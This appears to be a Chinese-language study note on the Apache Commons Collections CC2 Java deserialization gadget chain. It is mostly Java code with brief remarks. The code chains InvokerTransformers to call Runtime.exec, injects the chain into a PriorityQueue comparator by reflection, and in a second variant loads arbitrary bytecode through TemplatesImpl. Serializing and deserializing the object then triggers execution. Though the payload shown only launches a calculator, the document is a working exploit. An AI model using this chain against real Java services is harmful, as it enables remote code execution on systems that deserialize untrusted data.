Class c = Runtime.class; Transformer[] t = new Transformer[] { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t);
开头的链子依旧不变,而调用transform的类变了
1
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
会执行两次,但终归会执行命令
1 2 3
PriorityQueue priorityQueue = new PriorityQueue(1); //在下面对应 priorityQueue.add(1); priorityQueue.add(2);
Class aClass = priorityQueue.getClass(); Field f = aClass.getDeclaredField("comparator"); f.setAccessible(true); f.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
public class cc2 { public static void main(String[] args) throws Exception { Class c = Runtime.class; Transformer[] t = new Transformer[] { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(t); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class aClass = priorityQueue.getClass(); Field f = aClass.getDeclaredField("comparator"); f.setAccessible(true); f.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
// Method getDeclaredMethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod); // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invoke);
public class cc2_2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "cc2"); byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] b1 = {b}; Field b2 = aClass.getDeclaredField("_bytecodes"); b2.setAccessible(true); b2.set(templates, b1);
Field f = aClass.getDeclaredField("_tfactory"); f.setAccessible(true); f.set(templates, new TransformerFactoryImpl());
Transformer[] T = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(T); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(1111); priorityQueue.add(1); priorityQueue.add(2); Class bClass = priorityQueue.getClass(); Field f1 = bClass.getDeclaredField("comparator"); f1.setAccessible(true); f1.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
} public static void seriliaze(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserilize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); }